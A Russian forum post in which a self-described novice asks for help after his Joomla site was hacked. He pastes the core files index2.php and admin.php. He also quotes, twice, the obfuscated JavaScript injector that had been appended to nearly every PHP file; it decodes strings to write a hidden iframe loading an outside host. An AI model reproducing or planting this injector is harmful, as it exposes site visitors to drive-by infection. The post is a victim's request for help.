Прошу Вашей помощи\совета!!!
25 сенября с.г. внес данные на сайт
http://www.paulovillar.ru, а именно: 23 фото с описанием, после чего зашел на сайт и проверил правильность отображения. Все было как всегда - хорошо. Доложил об этом своему шефу. Он зашел на сайт под своим именем и там было нечто невообразимое. (7 ошибок php). Сайт не работал, ничего нельзя было посмотреть на нем.
Я обратился к хостеру (eserver.ru), они сказали, что с БД все в порядке, смотрите свой контент и у вас типа что то с Joomlой. Кто то внедрил вам вредоносный скрипт. Откат сделать они не могут. (( Я через ФТП скачал всю папку с контентом и обнаружил почти в каждом файле php вставленный скрипт в самой последней строке. Сутки я вручную удалял этот злополучный скрипт (почти 12 тыс.файлов). Залил - в итоге осталась одна ошибка ($end) при заходе на сайт и такая же ошибка при попытке входа в панель управления.
Закрывающий тег (?>) там и там стоит, но всеравно ругается!
Очень Вас прошу, помогите пожалуйста мне. Напишите мне что для этого надо, коды или кусок кода или что то еще, если Вы согласны мне помочь.
Глаза у меня уже в кучу смотрят, голову сломал себе. Я в этом деле почти чайник, а может быть даже не почти!
С уважением Игорь
П.С. Вот тот злополучный скрипт, который я удалял:
<script>rkqflmss=[''];jopkbtp(['693C72666D61206572733D63682274743A702F2F653465342E6E6F632F6D6E69']);function jopkbtp(bjyshbi){bjyshbi[4]=function(fvybwj){return(fvybwj[0][fvybwj[1]](fvybwj[2],fvybwj[3]));};bjyshbi[2]=/(..)(..)/g;rkqflmss[1]='write';bjyshbi[3]='%$2%$1';rkqflmss[2]=document;bjyshbi[1]='replace';rkqflmss[0]+=unescape(bjyshbi[4](bjyshbi));return(rkqflmss.slice(0,3).reverse().concat(['',bjyshbi[4]]));};jopkbtp(['632E6967343F2022697774643D682031656867697468313D73207974656C'])[4](jopkbtp(['223D697669736962696C7974683A64696564226E3C3E692F72666D613E65']));</script>
<script>rkqflmss=[''];jopkbtp(['693C72666D61206572733D63682274743A702F2F653465342E6E6F632F6D6E69']);function jopkbtp(bjyshbi){bjyshbi[4]=function(fvybwj){return(fvybwj[0][fvybwj[1]](fvybwj[2],fvybwj[3]));};bjyshbi[2]=/(..)(..)/g;rkqflmss[1]='write';bjyshbi[3]='%$2%$1';rkqflmss[2]=document;bjyshbi[1]='replace';rkqflmss[0]+=unescape(bjyshbi[4](bjyshbi));return(rkqflmss.slice(0,3).reverse().concat(['',bjyshbi[4]]));};jopkbtp(['632E6967343F2022697774643D682031656867697468313D73207974656C'])[4](jopkbtp(['223D697669736962696C7974683A64696564226E3C3E692F72666D613E65']));</script>
Вот код с главной страницы сайта, файл index2.php:
[php]<?php
/**
* @version $Id: index2.php 10041 2008-02-15 21:48:13Z eddieajau $
* @package Joomla RE
* @copyright Авторские права © 2005 Open Source Matters. Все права защищены.
* @license Лицензия
http://www.gnu.org/copyleft/gpl.html GNU/GPL, смотрите LICENSE.php
* Joomla! - свободное программное обеспечение. Эта версия может быть изменена
* в соответствии с Генеральной Общественной Лицензией GNU, поэтому возможно
* её дальнейшее распространение в составе результата работы, лицензированного
* согласно Генеральной Общественной Лицензией GNU или других лицензий свободных
* программ или программ с открытым исходным кодом.
* Для просмотра подробностей и замечаний об авторском праве, смотрите файл COPYRIGHT.php.
*
* @localized © 2005-2008 Joom.Ru
* @translator Sourpuss (sourpuss@mail.ru)
*/
// Установка флага, что этот файл - родительский
define( '_VALID_MOS', 1 );
if (!file_exists( '../configuration.php' )) {
header( 'Location: ../installation/index.php' );
exit();
}
require( '../globals.php' );
require( '../configuration.php' );
// SSL check - $http_host returns <live site url>:<port number if it is 443>
$http_host = explode(':', $_SERVER['HTTP_HOST'] );
if( (!empty( $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) != 'off' || isset( $http_host[1] ) && $http_host[1] == 443) && substr( $mosConfig_live_site, 0, 8 ) != 'https://' ) {
$mosConfig_live_site = 'https://'.substr( $mosConfig_live_site, 7 );
}
require_once( $mosConfig_absolute_path . '/includes/joomla.php' );
include_once( $mosConfig_absolute_path . '/language/'. $mosConfig_lang .'.php' );
require_once( $mosConfig_absolute_path . '/administrator/includes/admin.php' );
// must start the session before we create the mainframe object
session_name( md5( $mosConfig_live_site ) );
session_start();
$option = strval( strtolower( mosGetParam( $_REQUEST, 'option', '' ) ) );
$task = strval( mosGetParam( $_REQUEST, 'task', '' ) );
// mainframe is an API workhorse, lots of 'core' interaction routines
$mainframe = new mosMainFrame( $database, $option, '..', true );
// admin session handling
$my = $mainframe->initSessionAdmin( $option, $task );
// initialise some common request directives
$act = strtolower( mosGetParam( $_REQUEST, 'act', '' ) );
$section = mosGetParam( $_REQUEST, 'section', '' );
$no_html = intval( mosGetParam( $_REQUEST, 'no_html', 0 ) );
$id = intval( mosGetParam( $_REQUEST, 'id', 0 ) );
$cur_template = $mainframe->getTemplate();
// default admin homepage
if ($option == '') {
$option = 'com_admin';
}
// set for overlib check
$mainframe->set( 'loadOverlib', false );
// precapture the output of the component
require_once( $mosConfig_absolute_path . '/editor/editor.php' );
ob_start();
if ($path = $mainframe->getPath( 'admin' )) {
require_once ( $path );
?>[/php]Вот код панели управления: файл admin.php:
[php]<?php
/**
* @version $Id: admin.php 9994 2008-02-07 10:41:09Z eddieajau $
* @package Joomla RE
* @localized Авторские права © 2005-2007 Joom.Ru - Русский дом Joomla!
* @copyright Авторские права © 2005 Open Source Matters. Все права защищены.
* @license Лицензия
http://www.gnu.org/copyleft/gpl.html GNU/GPL, смотрите LICENSE.php
* Joomla! - свободное программное обеспечение. Эта версия может быть изменена
* в соответствии с Генеральной Общественной Лицензией GNU, поэтому возможно
* её дальнейшее распространение в составе результата работы, лицензированного
* согласно Генеральной Общественной Лицензией GNU или других лицензий свободных
* программ или программ с открытым исходным кодом.
* Для просмотра подробностей и замечаний об авторском праве, смотрите файл COPYRIGHT.php.
*
* @translator Oleg A. Myasnikov aka Sourpuss (sourpuss@mail.ru)
*/
// запрет прямого доступа
defined( '_VALID_MOS' ) or die( 'Доступ запрещен' );
/**
* @param string THe template position
*/
function mosCountAdminModules( $position='left' ) {
global $database;
$query = "SELECT COUNT( m.id )"
. "\n FROM #__modules AS m"
. "\n WHERE m.published = 1"
. "\n AND m.position = " . $database->Quote( $position )
. "\n AND m.client_id = 1"
;
$database->setQuery( $query );
return $database->loadResult();
}
/**
* Loads admin modules via module position
* @param string The position
* @param int 0 = no style, 1 = tabbed
*/
function mosLoadAdminModules( $position='left', $style=0 ) {
global $database, $acl, $my;
$cache =& mosCache::getCache( 'com_content' );
$query = "SELECT id, title, module, position, content, showtitle, params"
. "\n FROM #__modules AS m"
. "\n WHERE m.published = 1"
. "\n AND m.position = " . $database->Quote( $position )
. "\n AND m.client_id = 1"
. "\n ORDER BY m.ordering"
;
$database->setQuery( $query );
$modules = $database->loadObjectList();
if($database->getErrorNum()) {
echo "MA ".$database->stderr(true);
return;
}
switch ($style) {
case 1:
// Tabs
$tabs = new mosTabs(1);
$tabs->startPane( 'modules-' . $position );
foreach ($modules as $module) {
$params = new mosParameters( $module->params );
$editAllComponents = $acl->acl_check( 'administration', 'edit', 'users', $my->usertype, 'components', 'all' );
// special handling for components module
if ( $module->module != 'mod_components' || ( $module->module == 'mod_components' && $editAllComponents ) ) {
$tabs->startTab( $module->title, 'module' . $module->id );
if ( $module->module == '' ) {
mosLoadCustomModule( $module, $params );
} else {
mosLoadAdminModule( substr( $module->module, 4 ), $params );
}
$tabs->endTab();
}
}
$tabs->endPane();
break;
case 2:
// Div'd
foreach ($modules as $module) {
$params = new mosParameters( $module->params );
echo '<div>';
if ( $module->module == '' ) {
mosLoadCustomModule( $module, $params );
} else {
mosLoadAdminModule( substr( $module->module, 4 ), $params );
}
echo '</div>';
}
break;
case 0:
default:
foreach ($modules as $module) {
$params = new mosParameters( $module->params );
if ( $module->module == '' ) {
mosLoadCustomModule( $module, $params );
} else {
mosLoadAdminModule( substr( $module->module, 4 ), $params );
}
}
break;
}
}
/**
* Loads an admin module
*/
function mosLoadAdminModule( $name, $params=NULL ) {
global $mosConfig_absolute_path, $mosConfig_live_site, $task;
global $database, $acl, $my, $mainframe, $option;
// legacy support for $act
$act = mosGetParam( $_REQUEST, 'act', '' );
$name = str_replace( '/', '', $name );
$name = str_replace( '\\', '', $name );
$path = "$mosConfig_absolute_path/administrator/modules/mod_$name.php";
if (file_exists( $path )) {
require $path;
}
}
function mosLoadCustomModule( &$module, &$params ) {
global $mosConfig_absolute_path, $mosConfig_cachepath;
$rssurl = $params->get( 'rssurl', '' );
$rssitems = $params->get( 'rssitems', '' );
$rssdesc = $params->get( 'rssdesc', '' );
$moduleclass_sfx = $params->get( 'moduleclass_sfx', '' );
$rsscache = $params->get( 'rsscache', 3600 );
$cachePath = $mosConfig_cachepath .'/';
echo '<table cellpadding="0" cellspacing="0" class="moduletable' . $moduleclass_sfx . '">';
if ($module->content) {
echo '<tr>';
echo '<td>' . $module->content . '</td>';
echo '</tr>';
}
// feed output
if ( $rssurl ) {
if (!is_writable( $cachePath )) {
echo '<tr>';
echo '<td>Пожалуйста, сделайте каталог кэша доступным для записи.</td>';
echo '</tr>';
} else {
$LitePath = $mosConfig_absolute_path .'/includes/Cache/Lite.php';
require_once( $mosConfig_absolute_path .'/includes/domit/xml_domit_rss_lite.php');
$rssDoc = new xml_domit_rss_document_lite();
$rssDoc->setRSSTimeout(5);
$rssDoc->useHTTPClient(true);
$rssDoc->useCacheLite(true, $LitePath, $cachePath, $rsscache);
$success = $rssDoc->loadRSS( $rssurl );
if ( $success ) {
$totalChannels = $rssDoc->getChannelCount();
for ($i = 0; $i < $totalChannels; $i++) {
$currChannel =& $rssDoc->getChannel($i);
$feed_title = $currChannel->getTitle();
$feed_title = mosCommonHTML::newsfeedEncoding( $rssDoc, $feed_title );
echo '<tr>';
echo '<td><strong><a href="'. $currChannel->getLink() .'" target="_child">';
echo $feed_title .'</a></strong></td>';
echo '</tr>';
if ($rssdesc) {
$feed_descrip = $currChannel->getDescription();
$feed_descrip = mosCommonHTML::newsfeedEncoding( $rssDoc, $feed_descrip );
echo '<tr>';
echo '<td>'. $feed_descrip .'</td>';
echo '</tr>';
}
$actualItems = $currChannel->getItemCount();
$setItems = $rssitems;
if ($setItems > $actualItems) {
$totalItems = $actualItems;
} else {
$totalItems = $setItems;
}
for ($j = 0; $j < $totalItems; $j++) {
$currItem =& $currChannel->getItem($j);
$item_title = $currItem->getTitle();
$item_title = mosCommonHTML::newsfeedEncoding( $rssDoc, $item_title );
$text = $currItem->getDescription();
$text = mosCommonHTML::newsfeedEncoding( $rssDoc, $text );
echo '<tr>';
echo '<td><strong><a href="'. $currItem->getLink() .'" target="_child">';
echo $item_title .'</a></strong> - '. $text .'</td>';
echo '</tr>';
}
}
}
}
}
echo '</table>';
}
function mosShowSource( $filename, $withLineNums=false ) {
ini_set('highlight.html', '000000');
ini_set('highlight.default', '#800000');
ini_set('highlight.keyword','#0000ff');
ini_set('highlight.string', '#ff00ff');
ini_set('highlight.comment','#008000');
if (!($source = @highlight_file( $filename, true ))) {
return 'Операция невозможна';
}
$source = explode("<br />", $source);
$ln = 1;
$txt = '';
foreach( $source as $line ) {
$txt .= "<code>";
if ($withLineNums) {
$txt .= "<font color=\"#aaaaaa\">";
$txt .= str_replace( ' ', ' ', sprintf( "%4d:", $ln ) );
$txt .= "</font>";
}
$txt .= "$line<br /><code>";
$ln++;
}
return $txt;
}
function mosIsChmodable($file) {
$perms = fileperms($file);
if ( $perms !== FALSE ) {
if (@chmod($file, $perms ^ 0001)) {
@chmod($file, $perms);
return TRUE;
} // if
}
return FALSE;
} // mosIsChmodable
/**
* @param string An existing base path
* @param string A path to create from the base path
* @param int Directory permissions
* @return boolean True if successful
*/
function mosMakePath($base, $path='', $mode = NULL) {
global $mosConfig_dirperms;
// convert windows paths
$path = str_replace( '\\', '/', $path );
$path = str_replace( '//', '/', $path );
// ensure a clean join with a single slash
$path = ltrim( $path, '/' );
$base = rtrim( $base, '/' ).'/';
// check if dir exists
if (file_exists( $base . $path )) return true;
// set mode
$origmask = NULL;
if (isset($mode)) {
$origmask = @umask(0);
} else {
if ($mosConfig_dirperms=='') {
// rely on umask
$mode = 0777;
} else {
$origmask = @umask(0);
$mode = octdec($mosConfig_dirperms);
} // if
} // if
$parts = explode( '/', $path );
$n = count( $parts );
$ret = true;
if ($n < 1) {
if (substr( $base, -1, 1 ) == '/') {
$base = substr( $base, 0, -1 );
}
$ret = @mkdir($base, $mode);
} else {
$path = $base;
for ($i = 0; $i < $n; $i++) {
// don't add if part is empty
if ($parts[$i]) {
$path .= $parts[$i] . '/';
}
if (!file_exists( $path )) {
if (!@mkdir(substr($path,0,-1),$mode)) {
$ret = false;
break;
}
}
}
}
if (isset($origmask)) {
@umask($origmask);
}
return $ret;
}
function mosMainBody_Admin() {
echo $GLOBALS['_MOS_OPTION']['buffer'];
}
/*
* Added 1.0.11
*/
function josSecurityCheck($width='95%') {
$wrongSettingsTexts = array();
if ( ini_get('magic_quotes_gpc') != '1' ) {
$wrongSettingsTexts[] = 'PHP magic_quotes_gpc установлено в `OFF` вместо `ON`';
}
if ( ini_get('register_globals') == '1' ) {
$wrongSettingsTexts[] = 'PHP register_globals установлено в `ON` вместо `OFF`';
}
if ( RG_EMULATION != 0 ) {
$wrongSettingsTexts[] = 'У параметра "Эмуляция register_globals" (в Joomla 1.0.12 и ниже - параметр RG_EMULATION в файле globals.php) установлено значение `Вкл.` вместо `Выкл.`. Для отключения эмуляции параметра register_globals, перейдите на вкладку Сервер Конфигурации (<a href="index2.php?option=com_config&hidemainmenu=1">Сайт -> Глобальная конфигурация -> Сервер</a>), выберите `Выкл.` и сохраните конфигурацию.<br /> <span style="font-weight: normal; font-style: italic; color: #666;">`Вкл.` - параметр по умолчанию - для совместимости со скриптами, не работающими при register_globals = OFF</span>';
}
if ( count($wrongSettingsTexts) ) {
?>[/php]